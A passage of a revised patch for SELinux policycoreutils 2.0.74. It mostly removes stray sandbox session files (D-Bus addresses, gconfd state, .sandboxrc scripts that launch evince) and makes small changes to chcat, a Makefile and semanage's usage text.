-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-P54hariU2d,guid=05b16df695d69b77e7b530304ab6db3e
-+DBUS_SESSION_BUS_PID=19199
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sando4RPnA/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sando4RPnA/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sando4RPnA/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sando4RPnA/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sando4RPnA/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sando4RPnA/.gconfd/saved_state	2009-09-20 18:47:47.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346166612d302d373862373933386135636237300000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346166612d302d3738623739333861356362373000000000001c00000000000000827e84706202e8a8eb2428282828282801000000868d9fbb01000000480000000100000002000000050000001c00000000000000827e84706202e8a8eb2428282828282801000000868d9fbb01000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sando4RPnA/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sando4RPnA/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sando4RPnA/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sando4RPnA/.recently-used.xbel	2009-09-20 18:47:47.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sando4RPnA/.sandboxrc policycoreutils-2.0.74/sandbox/.sando4RPnA/.sandboxrc
---- nsapolicycoreutils/sandbox/.sando4RPnA/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sando4RPnA/.sandboxrc	2009-09-20 18:47:41.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandqdddIr/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandqdddIr/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandqdddIr/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandqdddIr/.gconfd/saved_state	2009-09-20 18:32:20.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343836632d302d313636393239626536636239390000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d343836632d302d3136363932396265366362393900000000001c00000000000000905acce0d44068a8eb24282828282828010000005807bdc901000000480000000100000002000000050000001c00000000000000905acce0d44068a8eb24282828282828010000005807bdc901000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandr0OyvJ/.sandboxrc policycoreutils-2.0.74/sandbox/.sandr0OyvJ/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandr0OyvJ/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandr0OyvJ/.sandboxrc	2009-09-20 18:50:55.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinced
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandTHLOge/.sandboxrc policycoreutils-2.0.74/sandbox/.sandTHLOge/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandTHLOge/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandTHLOge/.sandboxrc	2009-09-20 18:50:20.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evinc
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandU2xZMV/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandU2xZMV/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandU2xZMV/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandU2xZMV/.gconfd/saved_state	2009-09-20 18:34:09.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d343863392d302d323037643136316365636230000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d343863392d302d3230376431363163656362300000000000001c00000000000000fc827c80b1c068a8eb24282828282828010000008c1b316501000000480000000100000002000000050000001c00000000000000fc827c80b1c068a8eb24282828282828010000008c1b316501000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduaug79/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sanduaug79/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sanduaug79/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduaug79/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:48:01.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-XXbHt6cdJ0,guid=e30722c9dfbd86c8d83d901d4ab6db51
-+DBUS_SESSION_BUS_PID=19234
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sanduaug79/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sanduaug79/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduaug79/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sanduaug79/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sanduaug79/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduaug79/.gconfd/saved_state	2009-09-20 18:48:06.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346231652d302d343336353837373237633538630000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346231652d302d3433363538373732376335386300000000001c0000000000000021380868b6632828eb2428282828282801000000381448f001000000480000000100000002000000050000001c0000000000000021380868b6632828eb2428282828282801000000381448f001000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduaug79/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sanduaug79/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sanduaug79/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduaug79/.recently-used.xbel	2009-09-20 18:48:06.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduaug79/.sandboxrc policycoreutils-2.0.74/sandbox/.sanduaug79/.sandboxrc
---- nsapolicycoreutils/sandbox/.sanduaug79/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduaug79/.sandboxrc	2009-09-20 18:48:00.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandutCK9C/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandutCK9C/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandutCK9C/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandutCK9C/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:46:23.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-5ZD3S9bft3,guid=0d5ef668ed9bdbf6ae8ab5914ab6daef
-+DBUS_SESSION_BUS_PID=19160
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandutCK9C/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandutCK9C/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandutCK9C/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandutCK9C/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandutCK9C/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandutCK9C/.gconfd/saved_state	2009-09-20 18:46:26.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346164332d302d343539643064643463623432320000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346164332d302d3435396430646434636234323200000000001c00000000000000caeea430cb02e8a8eb2428282828282801000000c2dde79301000000480000000100000002000000050000001c00000000000000caeea430cb02e8a8eb2428282828282801000000c2dde79301000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandutCK9C/.gnome2/evince/evince-crashed policycoreutils-2.0.74/sandbox/.sandutCK9C/.gnome2/evince/evince-crashed
---- nsapolicycoreutils/sandbox/.sandutCK9C/.gnome2/evince/evince-crashed	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandutCK9C/.gnome2/evince/evince-crashed	2009-09-20 18:46:24.000000000 -0700
-@@ -0,0 +1,3 @@
-+
-+[Evince]
-+documents=empty-window;
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandutCK9C/.sandboxrc policycoreutils-2.0.74/sandbox/.sandutCK9C/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandutCK9C/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandutCK9C/.sandboxrc	2009-09-20 18:46:23.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduzC9A9/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sanduzC9A9/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sanduzC9A9/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduzC9A9/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:48:59.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-nZ6H1CwYTL,guid=218b75054435610d0a4bb5774ab6db8b
-+DBUS_SESSION_BUS_PID=19308
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sanduzC9A9/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sanduzC9A9/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduzC9A9/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sanduzC9A9/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sanduzC9A9/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduzC9A9/.gconfd/saved_state	2009-09-20 18:49:08.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346236372d302d333463366265393465313965340000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346236372d302d3334633662653934653139653400000000001c000000000000008968a8284f632828eb2428282828282801000000a2d828c801000000480000000100000002000000050000001c000000000000008968a8284f632828eb2428282828282801000000a2d828c801000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduzC9A9/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sanduzC9A9/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sanduzC9A9/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduzC9A9/.recently-used.xbel	2009-09-20 18:49:08.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sanduzC9A9/.sandboxrc policycoreutils-2.0.74/sandbox/.sanduzC9A9/.sandboxrc
---- nsapolicycoreutils/sandbox/.sanduzC9A9/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sanduzC9A9/.sandboxrc	2009-09-20 18:48:59.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandv0FPZq/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandv0FPZq/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandv0FPZq/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandv0FPZq/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:43:04.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-IK0B4vyQB6,guid=2412a23e2a1cad56ad0e693b4ab6da28
-+DBUS_SESSION_BUS_PID=19026
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandv0FPZq/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandv0FPZq/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandv0FPZq/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandv0FPZq/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandv0FPZq/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandv0FPZq/.gconfd/saved_state	2009-09-20 18:43:08.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346134652d302d653532633038643430626461000000000000caaedfba58000000010102002b0000002f746d702f6f726269742d6477616c73682f6c696e632d346134652d302d6535326330386434306264610000000000001c000000000000009754d0d886a2a828eb242828282828280100000024f6561601000000480000000100000002000000050000001c000000000000009754d0d886a2a828eb242828282828280100000024f6561601000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandv0FPZq/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandv0FPZq/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandv0FPZq/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandv0FPZq/.recently-used.xbel	2009-09-20 18:43:08.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandv0FPZq/.sandboxrc policycoreutils-2.0.74/sandbox/.sandv0FPZq/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandv0FPZq/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandv0FPZq/.sandboxrc	2009-09-20 18:43:04.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandxW7Kqn/.sandboxrc policycoreutils-2.0.74/sandbox/.sandxW7Kqn/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandxW7Kqn/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandxW7Kqn/.sandboxrc	2009-09-20 18:50:24.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+evincdd
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandzKCpug/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1 policycoreutils-2.0.74/sandbox/.sandzKCpug/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1
---- nsapolicycoreutils/sandbox/.sandzKCpug/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandzKCpug/.dbus/session-bus/f230c7087df454b70e08d8f64851d881-1	2009-09-20 18:42:34.000000000 -0700
-@@ -0,0 +1,8 @@
-+# This file allows processes on the machine with id f230c7087df454b70e08d8f64851d881 using 
-+# display :1 to find the D-Bus session bus with the below address.
-+# If the DBUS_SESSION_BUS_ADDRESS environment variable is set, it will
-+# be used rather than this file.
-+# See "man dbus-launch" for more details.
-+DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-HOpff6V9mX,guid=e42f34a85c84b5d478ca18b64ab6da0a
-+DBUS_SESSION_BUS_PID=18991
-+DBUS_SESSION_BUS_WINDOWID=6291457
-Binary files nsapolicycoreutils/sandbox/.sandzKCpug/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 and policycoreutils-2.0.74/sandbox/.sandzKCpug/.fontconfig/3830d5c3ddfd5cd38a049b759396e72e-x86-64.cache-2 differ
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandzKCpug/.gconfd/saved_state policycoreutils-2.0.74/sandbox/.sandzKCpug/.gconfd/saved_state
---- nsapolicycoreutils/sandbox/.sandzKCpug/.gconfd/saved_state	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandzKCpug/.gconfd/saved_state	2009-09-20 18:42:38.000000000 -0700
-@@ -0,0 +1 @@
-+CLIENTADD "IOR:010000001700000049444c3a436f6e6669674c697374656e65723a312e300000030000000054424f540000000101020005000000554e4958000000000a0000006c6f63616c686f73740000002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346132622d302d353865373764613765386162370000000000caaedfba58000000010102002c0000002f746d702f6f726269742d6477616c73682f6c696e632d346132622d302d3538653737646137653861623700000000001c0000000000000062be0470b302e8a8eb24282828282828010000001183a3e301000000480000000100000002000000050000001c0000000000000062be0470b302e8a8eb24282828282828010000001183a3e301000000140000000100000001000105000000000901010000000000"
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandzKCpug/.recently-used.xbel policycoreutils-2.0.74/sandbox/.sandzKCpug/.recently-used.xbel
---- nsapolicycoreutils/sandbox/.sandzKCpug/.recently-used.xbel	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandzKCpug/.recently-used.xbel	2009-09-20 18:42:38.000000000 -0700
-@@ -0,0 +1,5 @@
-+<?xml version="1.0" encoding="UTF-8"?>
-+<xbel version="1.0"
-+      xmlns:bookmark="http://www.freedesktop.org/standards/desktop-bookmarks"
-+      xmlns:mime="http://www.freedesktop.org/standards/shared-mime-info"
-+></xbel>
-\ No newline at end of file
-diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/.sandzKCpug/.sandboxrc policycoreutils-2.0.74/sandbox/.sandzKCpug/.sandboxrc
---- nsapolicycoreutils/sandbox/.sandzKCpug/.sandboxrc	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/.sandzKCpug/.sandboxrc	2009-09-20 18:42:34.000000000 -0700
-@@ -0,0 +1,2 @@
-+#! /bin/sh
-+/usr/bin/evince
-Binary files nsapolicycoreutils/sandbox/seunshare and policycoreutils-2.0.74/sandbox/seunshare differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/seunshare.c policycoreutils-2.0.74/sandbox/seunshare.c
---- nsapolicycoreutils/sandbox/seunshare.c	1969-12-31 16:00:00.000000000 -0800
-+++ policycoreutils-2.0.74/sandbox/seunshare.c	2009-09-20 18:48:31.000000000 -0700
+--- nsapolicycoreutils/sandbox/seunshare.c	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/seunshare.c	2009-09-20 21:48:31.000000000 -0400
 @@ -0,0 +1,265 @@
 +#include <signal.h>
 +#include <sys/types.h>
@@ -2389,10 +1775,9 @@ diff --exclude-from=exclude --exclude=se
 +
 +	return status;
 +}
-Binary files nsapolicycoreutils/sandbox/seunshare.o and policycoreutils-2.0.74/sandbox/seunshare.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/chcat policycoreutils-2.0.74/scripts/chcat
---- nsapolicycoreutils/scripts/chcat	2009-06-23 12:36:07.000000000 -0700
-+++ policycoreutils-2.0.74/scripts/chcat	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/scripts/chcat	2009-06-23 15:36:07.000000000 -0400
++++ policycoreutils-2.0.74/scripts/chcat	2009-09-20 21:26:36.000000000 -0400
 @@ -435,6 +435,8 @@
                      continue
      except ValueError, e:
@@ -2403,8 +1788,8 @@ diff --exclude-from=exclude --exclude=se
      sys.exit(errors)
      
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/Makefile policycoreutils-2.0.74/scripts/Makefile
---- nsapolicycoreutils/scripts/Makefile	2008-08-28 06:34:24.000000000 -0700
-+++ policycoreutils-2.0.74/scripts/Makefile	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/scripts/Makefile	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/scripts/Makefile	2009-09-20 21:26:36.000000000 -0400
 @@ -5,7 +5,7 @@
  MANDIR ?= $(PREFIX)/share/man
  LOCALEDIR ?= /usr/share/locale
@@ -2415,9 +1800,38 @@ diff --exclude-from=exclude --exclude=se
  install: all
  	-mkdir -p $(BINDIR)
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/semanage policycoreutils-2.0.74/semanage/semanage
---- nsapolicycoreutils/semanage/semanage	2009-09-08 06:03:10.000000000 -0700
-+++ policycoreutils-2.0.74/semanage/semanage	2009-09-20 18:26:36.000000000 -0700
-@@ -85,6 +85,7 @@
+--- nsapolicycoreutils/semanage/semanage	2009-09-08 09:03:10.000000000 -0400
++++ policycoreutils-2.0.74/semanage/semanage	2009-09-30 11:07:29.000000000 -0400
+@@ -39,19 +39,26 @@
+        __builtin__.__dict__['_'] = unicode
+ 
+ if __name__ == '__main__':
++        action  = False
+ 
++        def set_action(option):
++               global action
++               if action:
++                      raise ValueError(_("%s bad option") % option)
++               action = True
++                      
+ 	def usage(message = ""):
+                text = _("""
+ semanage [ -S store ] -i [ input_file | - ]
+ 
+-semanage {boolean|login|user|port|interface|node|fcontext|translation} -{l|D} [-n]
++semanage {boolean|login|user|port|interface|module|node|fcontext} -{l|D} [-n]
+ semanage login -{a|d|m} [-sr] login_name | %groupname
+ semanage user -{a|d|m} [-LrRP] selinux_name
+ semanage port -{a|d|m} [-tr] [ -p proto ] port | port_range
+ semanage interface -{a|d|m} [-tr] interface_spec
++semanage module -{a|d|m} [--enable|--disable] module
+ semanage node -{a|d|m} [-tr] [ -p protocol ] [-M netmask] addr
+ semanage fcontext -{a|d|m} [-frst] file_spec
+-semanage translation -{a|d|m} [-T] level
+ semanage boolean -{d|m} [--on|--off|-1|-0] -F boolean | boolean_file
+ semanage permissive -{d|a} type
+ semanage dontaudit [ on | off ]
